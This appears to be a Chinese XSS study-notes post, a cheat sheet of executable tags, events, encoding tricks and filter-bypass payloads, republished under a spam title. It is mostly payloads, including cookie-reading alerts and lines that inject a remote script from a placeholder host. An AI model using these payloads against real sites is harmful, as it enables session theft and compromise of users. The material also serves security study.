中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁 > news >正文

常州建設(shè)網(wǎng)站公司網(wǎng)站產(chǎn)品推廣文章

常州建設(shè)網(wǎng)站公司網(wǎng)站,產(chǎn)品推廣文章,商品網(wǎng)站怎么做的,廣平網(wǎng)站建設(shè)XSS一些學(xué)習(xí)記錄 XXS短標(biāo)簽、屬性、事件、方法短標(biāo)簽屬性事件函數(shù)彈窗函數(shù)一些對于繞過有用的函數(shù)一些函數(shù)使用payload收集 瀏覽器編碼問題XML實體編碼URL編碼JS編碼混合編碼 一些繞過方法利用constructor原型污染鏈構(gòu)造彈框空格繞過圓括號過濾繞過其他的一些繞過 參考 XXS短標(biāo)…

XSS一些學(xué)習(xí)記錄

  • XXS短標(biāo)簽、屬性、事件、方法
    • 短標(biāo)簽
    • 屬性
    • 事件
    • 函數(shù)
      • 彈窗函數(shù)
      • 一些對于繞過有用的函數(shù)
      • 一些函數(shù)使用payload收集
  • 瀏覽器編碼問題
    • XML實體編碼
    • URL編碼
    • JS編碼
    • 混合編碼
  • 一些繞過方法
    • 利用constructor原型污染鏈構(gòu)造彈框
    • 空格繞過
    • 圓括號過濾繞過
    • 其他的一些繞過
  • 參考

XXS短標(biāo)簽、屬性、事件、方法

短標(biāo)簽

自帶HtmlEncode(轉(zhuǎn)義)功能的標(biāo)簽(RCDATA),這是插入的javascript不會被執(zhí)行,除非我們閉合掉它們。

<textarea></textarea>
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes> 
<xmp></xmp> 
<plaintext></plaintext> 
其他:<math></math>也不行

一些常見的短標(biāo)簽
以下的短標(biāo)簽可以執(zhí)行JavaScript

<a> 
<p> 
<img>
<body> 
<button>
<script>
<var>
<div> 
<object> 
<input> 
<select> 
<keygen> 
<frameset>  
<embed>
<svg> 
<video> 
<audio>
<iframe> 
<textarea> 
<math> 

<a>

<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>

<img>

<img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>

<iframe>

<iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

<audio>

<audio src=1 onerror=alert(1)>
<audio><source src="x" onerror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
<audio controls onmouseover="alert('xss');"><source src="x"></audio>

<video>

<video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>
<video controls onmouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>

<svg>

<svg onload=javascript:alert(1)>
<svg onload="alert('xss');"></svg>

<button>

<button onclick=alert(1)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>

<div>

原代碼:
<div onmouseover='alert(1)'>DIV</div>
經(jīng)過url編碼:
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>

<object>

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>

<script>

<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>
<script src=http://xxx.xxx/a.js></script>
<script src=//xxx.xxx/a.js></script>

<input>

<input onfocus="alert('xss');" autofocus="">
<input onmouseover="alert('xss');">
<input type="text" onkeydown="alert('xss');"></input>

<form>

<form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>

綜合上面短標(biāo)簽的使用,除了特殊的幾個,其他的使用都差不多,都是配合屬性或者事件使用

屬性

data=
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
xlink:href=
autofocus=
content=

這里只介紹一個data協(xié)議,他可以使用Data URI繞過,但并不是所有短標(biāo)簽都可以使用

* data:,文本數(shù)據(jù)
* data:text/plain,文本數(shù)據(jù)
* data:text/html,HTML代碼
* data:text/css;base64,css代碼
* data:text/javascript;base64,javascript代碼
* data:image/x-icon;base64,base64編碼的icon圖片數(shù)據(jù)
* data:image/gif;base64,base64編碼的gif圖片數(shù)據(jù)
* data:image/png;base64,base64編碼的png圖片數(shù)據(jù)
* data:image/jpeg;base64,base64編碼的jpeg圖片數(shù)據(jù)<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">
<object data="data:text/html;base64 ,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">
<iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe>
<embed src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></embed>

src/href/action/xlink:href/autofocus/content/data 等屬性直接使用偽協(xié)議繞過。如javascript 偽協(xié)議: <a href=javascript:alert(2)>test</a>
不使用 href 的另外一種組合來執(zhí)行 js:<svg><a xlink:href=“javascript:alert(14)”> </a></svg>(均可) 或者: <math><a xlink:href=javascript:alert(1)>1</a></math>(Chrome不可,Firefox可以)

事件

所有的event都是可以執(zhí)行js的,on*事件中插入合乎邏輯的JS代碼即可
常見事件

FSCommand() (當(dāng)從嵌入式 Flash 對象中執(zhí)行時,攻擊者可以使用它)
onAbort() (當(dāng)用戶中止圖像加載時)
onActivate() (當(dāng)對象被設(shè)置為活動元素時)
onAfterPrint() (在用戶打印或預(yù)覽打印作業(yè)后激活)
onAfterUpdate() (更新源對象中的數(shù)據(jù)后在數(shù)據(jù)對象上激活)
onBeforeActivate() (在對象被設(shè)置為活動元素之前觸發(fā))
onBeforeCopy()(攻擊者在將選擇復(fù)制到剪貼板之前執(zhí)行攻擊字符串 – 攻擊者可以使用該execCommand("Copy")功能執(zhí)行此操作)
onBeforeCut() (攻擊者在選擇被切斷之前執(zhí)行攻擊字符串)
onBeforeDeactivate() (在 activeElement 從當(dāng)前對象更改后立即觸發(fā))
onBeforeEditFocus() (在可編輯元素中包含的對象進(jìn)入 UI 激活狀態(tài)之前或在選擇可編輯容器對象時觸發(fā))
onBeforePaste()(用戶需要被誘騙粘貼或使用該execCommand("Paste")功能強(qiáng)制粘貼)
onBeforePrint()(用戶需要被欺騙打印或攻擊者可以使用print()或execCommand("Print")功能)。
onBeforeUnload() (用戶需要被誘騙關(guān)閉瀏覽器 – 除非它是從父級生成的,否則攻擊者無法卸載窗口)
onBeforeUpdate() (在更新源對象中的數(shù)據(jù)之前激活數(shù)據(jù)對象)
onBegin() (當(dāng)元素的時間線開始時, onbegin 事件會立即觸發(fā))
onBlur() (在加載另一個彈出窗口并且窗口失去焦點的情況下)
onBounce() (當(dāng)Marquee對象的行為屬性設(shè)置為“備用”和Marquee的內(nèi)容到達(dá)窗口的一側(cè)時)
onCellChange() (當(dāng)數(shù)據(jù)提供者中的數(shù)據(jù)發(fā)生變化時觸發(fā))
onChange() (選擇、文本或 TEXTAREA 字段失去焦點并且其值已被修改)
onClick() (有人點擊表格)
onContextMenu() (用戶需要右鍵單擊攻擊區(qū)域)
onControlSelect() (當(dāng)用戶即將對對象進(jìn)行控件選擇時觸發(fā))
onCopy()(用戶需要復(fù)制一些東西或者可以使用execCommand("Copy")命令來利用它)
onCut()(用戶需要復(fù)制一些東西或者可以使用execCommand("Cut")命令來利用它)
onDataAvailable() (用戶需要更改元素中的數(shù)據(jù),否則攻擊者可以執(zhí)行相同的功能)
onDataSetChanged() (當(dāng)數(shù)據(jù)源對象公開的數(shù)據(jù)集更改時觸發(fā))
onDataSetComplete() (觸發(fā)以指示數(shù)據(jù)源對象中的所有數(shù)據(jù)都可用)
onDblClick() (用戶雙擊表單元素或鏈接)
onDeactivate() (當(dāng) activeElement 從當(dāng)前對象更改為父文檔中的另一個對象時觸發(fā))
onDrag() (要求用戶拖動對象)
onDragEnd() (要求用戶拖動對象)
onDragLeave() (要求用戶將對象拖離有效位置)
onDragEnter() (要求用戶將對象拖動到有效位置)
onDragOver() (要求用戶將對象拖動到有效位置)
onDragDrop() (用戶將對象(例如文件)拖放到瀏覽器窗口上)
onDragStart() (在用戶開始拖動操作時發(fā)生)
onDrop() (用戶將對象(例如文件)拖放到瀏覽器窗口上)
onEnd() (當(dāng)時間線結(jié)束時觸發(fā) onEnd 事件。
onError() (加載文檔或圖像會導(dǎo)致錯誤)
onErrorUpdate() (在更新數(shù)據(jù)源對象中的關(guān)聯(lián)數(shù)據(jù)時發(fā)生錯誤時觸發(fā)數(shù)據(jù)綁定對象)
onFilterChange() (當(dāng)視覺過濾器完成狀態(tài)更改時觸發(fā))
onFinish() (攻擊者可以在選框完成循環(huán)時創(chuàng)建利用)
onFocus() (攻擊者在窗口獲得焦點時執(zhí)行攻擊字符串)
onFocusIn() (攻擊者在窗口獲得焦點時執(zhí)行攻擊字符串)
onFocusOut() (攻擊者在窗口失去焦點時執(zhí)行攻擊字符串)
onHashChange() (當(dāng)文檔當(dāng)前地址的片段標(biāo)識符部分更改時觸發(fā))
onHelp() (攻擊者在窗口處于焦點時用戶點擊 F1 時執(zhí)行攻擊字符串)
onInput() (元素的文本內(nèi)容通過用戶界面更改)
onKeyDown() (用戶按下一個鍵)
onKeyPress() (用戶按下或按住某個鍵)
onKeyUp() (用戶釋放密鑰)
onLayoutComplete() (用戶必須打印或打印預(yù)覽)
onLoad() (攻擊者在窗口加載后執(zhí)行攻擊字符串)
onLoseCapture()(可以被releaseCapture()方法利用)
onMediaComplete() (當(dāng)使用流媒體文件時,此事件可能會在文件開始播放之前觸發(fā))
onMediaError() (用戶在瀏覽器中打開一個包含媒體文件的頁面,出現(xiàn)問題時觸發(fā)該事件)
onMessage() (當(dāng)文檔收到消息時觸發(fā))
onMouseDown() (攻擊者需要讓用戶點擊圖片)
onMouseEnter() (光標(biāo)在對象或區(qū)域上移動)
onMouseLeave() (攻擊者需要讓用戶將鼠標(biāo)懸停在圖像或表格上,然后再次關(guān)閉)
onMouseMove() (攻擊者需要讓用戶將鼠標(biāo)懸停在圖像或表格上)
onMouseOut() (攻擊者需要讓用戶將鼠標(biāo)懸停在圖像或表格上,然后再次關(guān)閉)
onMouseOver() (光標(biāo)在對象或區(qū)域上移動)
onMouseUp() (攻擊者需要讓用戶點擊圖片)
onMouseWheel() (攻擊者需要讓用戶使用他們的鼠標(biāo)滾輪)
onMove() (用戶或攻擊者會移動頁面)
onMoveEnd() (用戶或攻擊者會移動頁面)
onMoveStart() (用戶或攻擊者會移動頁面)
onOffline() (發(fā)生在瀏覽器在聯(lián)機(jī)模式下工作并且開始脫機(jī)工作時)
onOnline() (發(fā)生在瀏覽器在離線模式下工作并開始在線工作時)
onOutOfSync() (中斷元素播放時間軸定義的媒體的能力)
onPaste()(用戶需要粘貼或攻擊者可以使用該execCommand("Paste")功能)
onPause() (當(dāng)時間線暫停時,onpause 事件會在每個處于活動狀態(tài)的元素上觸發(fā),包括 body 元素)
onPopState() (當(dāng)用戶瀏覽會話歷史時觸發(fā))
onProgress() (攻擊者會在加載 Flash 電影時使用它)
onPropertyChange() (用戶或攻擊者需要更改元素屬性)
onReadyStateChange() (用戶或攻擊者需要更改元素屬性)
onRedo() (用戶在撤消交易歷史中前進(jìn))
onRepeat() (該事件為時間線的每次重復(fù)觸發(fā)一次,不包括第一個完整周期)
onReset() (用戶或攻擊者重置表單)
onResize()(用戶將調(diào)整窗口的大小,攻擊者就可以自動與像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResizeEnd()(用戶將調(diào)整窗口的大小,攻擊者就可以自動與像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResizeStart()(用戶將調(diào)整窗口的大小,攻擊者就可以自動與像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResume() (onresume 事件會在時間線恢復(fù)時激活的每個元素上觸發(fā),包括 body 元素)
onReverse() (如果元素的 repeatCount 大于 1,則每次時間線開始向后播放時都會觸發(fā)此事件)
onRowsEnter() (用戶或攻擊者需要更改數(shù)據(jù)源中的一行)
onRowExit() (用戶或攻擊者需要更改數(shù)據(jù)源中的一行)
onRowDelete() (用戶或攻擊者需要刪除數(shù)據(jù)源中的一行)
onRowInserted() (用戶或攻擊者需要在數(shù)據(jù)源中插入一行)
onScroll()(用戶需要滾動,否則攻擊者可以使用該scrollBy()功能)
onSeek() (當(dāng)時間軸設(shè)置為向前以外的任何方向播放時,將觸發(fā) onreverse 事件)
onSelect()(用戶需要選擇一些文本-攻擊者可以自動初始化是這樣的:window.document.execCommand("SelectAll");)
onSelectionChange()(用戶需要選擇一些文本-攻擊者可以自動初始化是這樣的:window.document.execCommand("SelectAll");)
onSelectStart()(用戶需要選擇一些文本-攻擊者可以自動初始化是這樣的:window.document.execCommand("SelectAll");)
onStart() (在每個選框循環(huán)開始時觸發(fā))
onStop() (用戶需要按停止按鈕或離開網(wǎng)頁)
onStorage() (存儲區(qū)域已更改)
onSyncRestored() (用戶中斷元素播放由時間線定義的媒體的能力以觸發(fā))
onSubmit() (需要攻擊者或用戶提交表單)
onTimeError() (用戶或攻擊者將時間屬性(例如 dur)設(shè)置為無效值)
onTrackChange() (用戶或攻擊者更改播放列表中的曲目)
onUndo() (用戶在撤消事務(wù)歷史記錄中倒退)
onUnload() (當(dāng)用戶單擊任何鏈接或按下后退按鈕或攻擊者強(qiáng)制單擊時)
onURLFlip() (當(dāng)由 HTML+TIME(定時交互式多媒體擴(kuò)展)媒體標(biāo)簽播放的高級流格式 (ASF) 文件處理嵌入在 ASF 文件中的腳本命令時,將觸發(fā)此事件)
seekSegmentTime() (這是一種在元素的片段時間線上定位指定點并從該點開始播放的方法。片段由時間線的一次重復(fù)組成,包括使用 AUTOREVERSE 屬性的反向播放。)

函數(shù)

彈窗函數(shù)

alert
confirm
prompt

一些對于繞過有用的函數(shù)

eval
top
window
self
parent
frames
setTimeout
atob
setInterval

eval

<img src="x"onerror="eval('al'+'ert(1)')">
<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
<script>eval("\141\154\145\162\164\050\061\051")</script>
<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>
<a href=javascript:eval(window.atob('YWxlcnQoMSk='))>test</a>
<a href=javascript:eval(window['atob']('YWxlcnQoMSk='))>test</a>
<img src=x onmouseover="eval(window.atob('YWxlcnQoMSk='))">
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
<iframe src="javascript:eval(window['atob']('YWxlcnQoMSk='))"></iframe>
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>

top

<img src="x" onerror="top['al'+'ert'](1)">
JS8編碼:
<details open ontoggle=top['al\145rt'](1) >
<details open ontoggle=top['\141\154\145\162\164'](1) >
JS16編碼:
<details open ontoggle=top['al\x65rt'](1) >

window

<img src="x" onerror="window['al'+'ert'](1)">

self

<img src="x" onerror="self[`al`+`ert`](1)">

parent

<img src="x" onerror="parent[`al`+`ert`](1)">

frames

<img src="x" onerror="frames[`al`+`ert`](1)">

setTimeout

<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>

atob
atob() 方法用于解碼使用 base-64 編碼的字符串

<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">

parseInt()與toString()
parseInt() 第二個參數(shù)會把第一個參數(shù)以第二個參數(shù)的進(jìn)制來解析,第二個參數(shù)介于2-36之間,而 toString()可以將數(shù)值以任意進(jìn)制還原成字符串
在這里插入圖片描述
實際使用時建議先進(jìn)行測試是否能還原

<details open ontoggle=top[8680439..toString(30)](1); >
<details open ontoggle=top[17795081..toString(36)](1); >

一些函數(shù)使用payload收集

img src="x" onerror="eval(alert(1))">
<img src="x" onerror="open(alert(1))">
<img src="x" onerror="document.write(alert(1))">
<img src="x" onerror="setTimeout(alert(1))">
<img src="x" onerror="setInterval(alert(1))">
<img src="x" onerror="Set.constructor(alert(1))">
<img src="x" onerror="Map.constructor(alert(1))">
<img src="x" onerror="Array.constructor(alert(1))">
<img src="x" onerror="WeakSet.constructor(alert(1))">
<img src="x" onerror="constructor.constructor(alert(1))">
<img src="x" onerror="[1].map(alert(1))">
<img src="x" onerror="[1].find(alert(1))">
<img src="x" onerror="[1].every(alert(1))">
<img src="x" onerror="[1].filter(alert(1))">
<img src="x" onerror="[1].forEach(alert(1))">
<img src="x" onerror="[1].findIndex(alert(1))">
<img src onerror=_=alert,_(1)>
<img src x=al y=ert onerror=top[x+y](1)>
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

setInterval
setInterval與setTimeout差不多

<svg/onload=setInterval('al'%2b'ert(1)')>
<svg/onload=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(\u0061ppendChild(\u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
<iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') >
<svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('') >

瀏覽器編碼問題

瀏覽器對 XSS 代碼的解析順序為:HTML解碼 —— URL解碼 —— JS解碼(只支持UNICODE)。

XML實體編碼

<a href="javascript:alert(1)">test</a>
十進(jìn)制
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">test</a>
十六進(jìn)制
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>
可以不帶分號
<a href="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29">test</a>
可以填充0
<a href="&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029">test</a>

XML實體編碼不能對屬性或者短標(biāo)簽進(jìn)行編碼,否則無法識別,可以對屬性里面的內(nèi)容進(jìn)行編碼

URL編碼

注入點存在 href 或者 src 屬性時,可以使用 url 編碼,但不能對屬性進(jìn)行編碼。

<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>
<iframe src="javascript:%61%6c%65%72%74%28%31%29">test</iframe>

JS編碼

在處理諸如<script> <style>這樣的標(biāo)簽,解析器會自動切換到JS解析模式,而src、 href 后邊加入的javascript 偽URL,也會進(jìn)入JS 的解析模式,ON事件后面也會直接進(jìn)入JS模式。JS編碼解析時不能破壞javascript協(xié)議。

js 編碼策略:“” 加上三個八進(jìn)制數(shù)字,如果個數(shù)不夠,前面補0,例如 “<” 編碼為 “\074”
“\x” 加上兩個十六進(jìn)制數(shù)字,如果個數(shù)不夠,前面補0,例如 “<” 編碼為 “\x3c”
“\u” 加上四個十六進(jìn)制數(shù)字,如果個數(shù)不夠,前面補0,例如 “<” 編碼為 “\u003c”
對于一些控制字符,使用特殊的 C 類型的轉(zhuǎn)義風(fēng)格(例如 \n 和 \r)

在進(jìn)行JavaScript解析的時候字符或者字符串僅會被解碼為字符串文本或者標(biāo)識符名稱,在上例中Javascript解析器工作的時候?qū)u0061\u006c\u0065\u0072\u0074進(jìn)行解碼后為alert,而alert是一個有效的標(biāo)識符名稱,它是能被正常解析的。像圓括號、雙引號、單引號等等這些字符就只能被當(dāng)作普通的文本,無法正常解析,因此編碼時,禁止編碼圓括號、雙引號、單引號等等

<img src=x onerror="alert(1)">

編碼為

<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">

但是下面這個是例外,可以全部編碼

<input onfocus=location="alert(1)" autofocus>

可編碼為

<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>

可用下面的網(wǎng)站進(jìn)行編碼
https://tool.chinaz.com/tools/unicode.aspx

混合編碼

瀏覽器對 XSS 代碼的解析順序為:HTML解碼 —— URL解碼 —— JS解碼(只支持UNICODE),所以要混合編碼需要和解析順序相反進(jìn)行編碼

<a href="javascript:alert(1)">test</a>

JS編碼后為

<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>

url編碼后為

<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>

html實體編碼后為

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x29;">test</a>

一些繞過方法

利用constructor原型污染鏈構(gòu)造彈框

其根本原理是利用constructor原型污染鏈構(gòu)造Function,使用Function來構(gòu)造匿名函數(shù),然后在其中寫入任意的js代碼進(jìn)行執(zhí)行,匿名函數(shù)后面加上一個括號即可立即執(zhí)行

常規(guī)的js構(gòu)造函數(shù)彈窗

let sayHi = new Function('alert("Hello")');
sayHi(); 

寫成一句話調(diào)用匿名函數(shù)

new Function('alert("Hello")')();
//彈框
//精簡去掉 new 和 ;
Function('alert("Hello")')()

為了替換掉Function,我們用constructor構(gòu)造
在這里插入圖片描述
可以得到

String.constructor('alert("Hello")')()

再把string處理掉
在這里插入圖片描述
可以得到

"".constructor.constructor("alert(1)")()

如果黑名單過濾了(),可以用反引號繞過

String.constructor`al\x65rt\x28/xss/\x29```

如果黑名單過濾了.可以再根據(jù)a.b與a[b]等價的定理進(jìn)行變換

""["constructor"]["constructor"]("alert(1)")()

針對字符串,可以使用16進(jìn)制,8進(jìn)制轉(zhuǎn)碼,我們用8進(jìn)制轉(zhuǎn)碼一下

""["\163\165\142\163\164\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()

一些payload

<svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()><svg/onload=Set.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Map.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=clear.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Array.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=WeakSet.constructor`al\x65rt\x28/xss/\x29```><img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">

空格繞過

可以利用 /和//還有/**/替換繞過空格

<img//src//onerror=alert(1)>
<img/**/src/**/onerror=alert(1)>

還可以throw 繞過

<video src onerror="javascript:window.οnerrοr=alert;throw 1">
<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">

圓括號過濾繞過

可以用斜杠替換

<img src onerror=alert(/xss/)>

還可以用反引號替換

<img src onerror=alert(`xss`)>

其他的一些繞過

其他的一些繞過其實可以根據(jù)上面的知識,嘗試大小寫繞過,編碼繞過,利用相似功能的函數(shù)進(jìn)行繞過,拼接繞過等

下面這個是一個很典型的例子,第一條不行,發(fā)現(xiàn)是事件上了黑名單,換個事件即可

<a href="x" onmouseover="confirm('123');">xss</a>
<a href="x" onMouseEnter="confirm('123');">aa</a>

參考

https://wooyun.js.org/drops/Bypass%20xss%E8%BF%87%E6%BB%A4%E7%9A%84%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95.html
https://blog.csdn.net/hackzkaq/article/details/126344040
https://www.ddosi.org/xss-bypass/#XSS_%E5%AE%9A%E4%BD%8D%E5%99%A8%EF%BC%88Polygot%EF%BC%89
http://www.0xby.com/98.html
https://xz.aliyun.com/t/6597
https://lalajun.github.io/2020/11/18/%E5%8D%81%E4%BA%8C%E4%B8%AAXSS%E6%A1%88%E4%BE%8B%E9%87%8D%E6%96%B0%E8%AE%A4%E8%AF%86XSS-%E4%B8%8A/

http://www.risenshineclean.com/news/53748.html

相關(guān)文章:

  • 大公司做網(wǎng)站營銷策劃書
  • 黃驊市網(wǎng)站建設(shè)價格新聞發(fā)布
  • 長沙網(wǎng)站制作工作室知名公司關(guān)鍵詞有哪幾種
  • 微網(wǎng)站 制作平臺最佳bt磁力狗
  • 一個做BAT筆試題的網(wǎng)站關(guān)鍵詞名詞解釋
  • 網(wǎng)站后臺圖片上傳失敗福建百度seo排名點擊軟件
  • 撩人的網(wǎng)站怎么做看網(wǎng)站時的關(guān)鍵詞
  • WordPress更改網(wǎng)站地址抖音seo排名系統(tǒng)哪個好用
  • 如何給別人做網(wǎng)站成都私人網(wǎng)站制作
  • 巴中網(wǎng)站制作公司公司怎么做網(wǎng)站推廣
  • 輕博客網(wǎng)站開發(fā)去了外包簡歷就毀了嗎
  • 傳世手游新開服網(wǎng)站網(wǎng)站首頁不收錄
  • 做網(wǎng)站用什么后綴好網(wǎng)站模板
  • 淘寶網(wǎng)站建設(shè) 推廣 上海濟(jì)寧百度推廣開戶
  • thinkphp做雙語網(wǎng)站百度知道app官方下載
  • 成都優(yōu)化網(wǎng)站哪家公司好seo優(yōu)化網(wǎng)站的手段
  • 把自己做的網(wǎng)站進(jìn)行app封包騰訊云域名注冊官網(wǎng)
  • 對小米網(wǎng)站的建設(shè)意見青島新聞最新今日頭條
  • 想注冊一個做網(wǎng)站的公司企業(yè)營銷
  • 開家做網(wǎng)站公司有哪些合肥關(guān)鍵詞排名提升
  • 修改公司網(wǎng)站東莞推廣公司
  • 深圳哪個公司做網(wǎng)站好網(wǎng)站關(guān)鍵詞seo費用
  • 網(wǎng)站制作零基礎(chǔ)學(xué)習(xí)3步打造seo推廣方案
  • 銅仁市城鄉(xiāng)住房與建設(shè)局網(wǎng)站什么是seo?
  • 織夢五彩婚紗源碼網(wǎng)_婚慶策劃網(wǎng)站php源碼今日油價92汽油價格
  • 網(wǎng)站開發(fā)情況百度公司排名多少
  • wordpress如何壓縮圖片優(yōu)化推廣服務(wù)
  • 做網(wǎng)站的要求貴陽百度seo點擊軟件
  • 做網(wǎng)站公司哪個品牌好免費推廣的方式有哪些
  • 教做世界美食的網(wǎng)站西安百度快速排名提升